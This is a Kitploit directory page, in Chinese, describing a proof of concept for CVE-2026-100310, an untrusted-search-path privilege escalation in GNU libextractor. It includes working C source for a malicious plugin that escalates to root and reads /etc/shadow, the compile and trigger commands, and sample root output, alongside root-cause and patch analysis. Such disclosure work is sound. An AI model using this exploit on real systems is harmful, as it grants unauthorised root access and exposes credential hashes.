Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
libextractor-privesc — 针对 CVE-2026-100310 的概念验证,该漏洞是 GNU libextractor ≤1.15 中通过 LIBEXTRACTOR_PREFIX 不受信任搜索路径导致的本地权限提升,包含漏洞利用代码和补丁分析。 | Kitploit
工具/GitHubGitHub/haitam-lazaar/libextractor-privesc
权限提升漏洞分析漏洞利用学习与教育Payload 开发二进制利用
GitHubhaitam-lazaar/libextractor-privesc

libextractor-privesc

针对 CVE-2026-100310 的概念验证,该漏洞是 GNU libextractor ≤1.15 中通过 LIBEXTRACTOR_PREFIX 不受信任搜索路径导致的本地权限提升,包含漏洞利用代码和补丁分析。

查看仓库
111小时16分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-100310:GNU libextractor 通过 LIBEXTRACTOR_PREFIX 提权

摘要

GNU libextractor 的插件加载机制使用 LIBEXTRACTOR_PREFIX 环境变量来确定从何处加载共享库(.so 插件)。由于它使用 getenv() 而非 secure_getenv(),当进程以提升的权限运行时,该环境变量不会被剥离。攻击者可以将 LIBEXTRACTOR_PREFIX 设置为恶意目录,从而迫使任何加载 libextractor 插件的应用程序执行任意代码。

主要影响: 本地提权(LPE)至 root。

字段值
CVECVE-2026-100310
产品GNU libextractor
受影响版本>= 0, < 1.16
修复版本1.16
CVSS 4.07.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
严重性HIGH
CWECWE-426(不可信搜索路径)
攻击向量本地
所需权限低
用户交互无
CNAVulnCheck
研究员Haitam Lazaar

注意: 要使此漏洞导致本地提权,管理员必须配置一个链接到 libextractor 且带有 setuid 位的二进制文件。虽然 libextractor 本身不附带 setuid 二进制文件,但任何动态链接此库且未能手动清理环境的特权进程或系统守护进程都容易受到完全攻陷。

受影响软件

  • GNU libextractor ≤ 1.15
  • 任何链接到 libextractor 的 setuid 二进制文件或特权守护进程

概念验证(演示)

提权演示

上面的动画演示了该漏洞利用。攻击者编译一个恶意共享库(evil_plugin.c)并将其放置在 /tmp/evil_plugins 中。通过执行一个使用 libextractor 的 setuid 二进制文件,并在命令前加上 LIBEXTRACTOR_PREFIX=/tmp/evil_plugins,动态链接器会以提升的权限加载恶意插件。这会立即以 root 身份执行任意命令,通过将 id 的输出和受限的 /etc/shadow 文件写入 /tmp/privesc_proof 来演示。

攻击场景与利用

该漏洞主要通过利用 LIBEXTRACTOR_PREFIX 环境变量触发。

(注意:libextractor 还包含使用 /proc/PID/maps 和可写 PATH 目录的次要不安全回退机制,但环境变量注入是最直接且可靠的攻击向量)。

概念验证代码

root@kitploit:~
/*
 * evil_plugin.c — 用于提权的恶意 libextractor 插件
 * 编译:gcc -shared -fPIC -o libextractor_ole2.so evil_plugin.c
 *
 * 将其放置在某个目录中,并将 LIBEXTRACTOR_PREFIX 设置为该目录。
 * 当任何 setuid 应用程序加载 OLE2 插件时,此构造函数
 * 会提升为完整的 root(uid=0, gid=0)并运行任意命令。
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void pwn(void) {
    /* 提权:euid=0 允许 setuid(0),从而设置真实 uid=0 */
    setuid(0);
    setgid(0);

    /* 现在以完整的 root 身份运行 — shell 命令可以正常工作 */
    system("echo '=== PRIVILEGE ESCALATION PROOF ===' > /tmp/privesc_proof");
    system("id >> /tmp/privesc_proof");
    system("echo '' >> /tmp/privesc_proof");
    system("echo '--- /etc/shadow (root-only) ---' >> /tmp/privesc_proof");
    system("head -3 /etc/shadow >> /tmp/privesc_proof");
}

int _EXTRACTOR_ole2_extract_method = 0;

触发漏洞利用

在 Ubuntu 24.04 上使用 libextractor 1.14 测试:

root@kitploit:~
# 1. 编译恶意插件
mkdir -p /tmp/evil_plugins
gcc -shared -fPIC -o /tmp/evil_plugins/libextractor_ole2.so evil_plugin.c

# 2. 模拟配置错误(setuid)的目标二进制文件
sudo chown root:root /usr/local/bin/extract
sudo chmod u+s /usr/local/bin/extract

# 3. 以非特权用户身份触发漏洞利用
rm -f /tmp/privesc_proof
LIBEXTRACTOR_PREFIX=/tmp/evil_plugins /usr/local/bin/extract testfile.doc

验证(完整 Root)

root@kitploit:~
$ cat /tmp/privesc_proof
=== PRIVILEGE ESCALATION PROOF ===
uid=0(root) gid=0(root) groups=0(root),1000(user)

--- /etc/shadow (root-only) ---
root:!:20223:0:99999:7:::
daemon:*:19977:0:99999:7:::
bin:*:19977:0:99999:7:::

根本原因

在 src/main/extractor_plugpath.c 中,函数 get_installation_paths() 调用了标准的 getenv():

root@kitploit:~
if (NULL != (p = getenv("LIBEXTRACTOR_PREFIX")))

由于它没有使用 secure_getenv(),当二进制文件以提升的权限运行时,动态链接器不会剥离此变量(与 LD_PRELOAD 或 LD_LIBRARY_PATH 不同)。随后 lt_dlopenadvise() 会盲目地从攻击者控制的路径加载 libextractor_<name>.so。

官方补丁(libextractor 1.16)

维护者在 1.16 版本中通过将 getenv() 替换为 secure_getenv() 修复了此问题,当进程以提升的权限运行(euid != uid)时,后者会返回 NULL。

root@kitploit:~
-  if (NULL != (p = getenv ("LIBEXTRACTOR_PREFIX")))
+  if (NULL != (p = secure_getenv ("LIBEXTRACTOR_PREFIX")))

参考资料

  • CVE 记录: https://www.cve.org/CVERecord?id=CVE-2026-100310
  • VulnCheck 公告: https://www.vulncheck.com/advisories/gnu-libextractor-before-1.16-privilege-escalation-via-libextractor-prefix
  • 上游补丁提交: https://git.gnunet.org/gnunet/libextractor/commit/6edfa653c048800e24a17f7e8cc2bb42659b8d01.html
  • 产品发布: https://ftp.gnu.org/gnu/libextractor/
  • 产品: https://www.gnu.org/software/libextractor/

致谢

由我(Haitam Lazaar)在独立安全研究期间发现。

鸣谢

特别感谢 GNU libextractor 的维护者 Christian Grothoff,感谢他极其快速的分类、专业的沟通以及迅速部署补丁(v1.15、v1.16 和 v1.17),解决了此问题以及本次审计期间报告的其他几个内存安全问题。

许可证

我的研究仅供教育和防御目的提供。请负责任地使用。

下载工具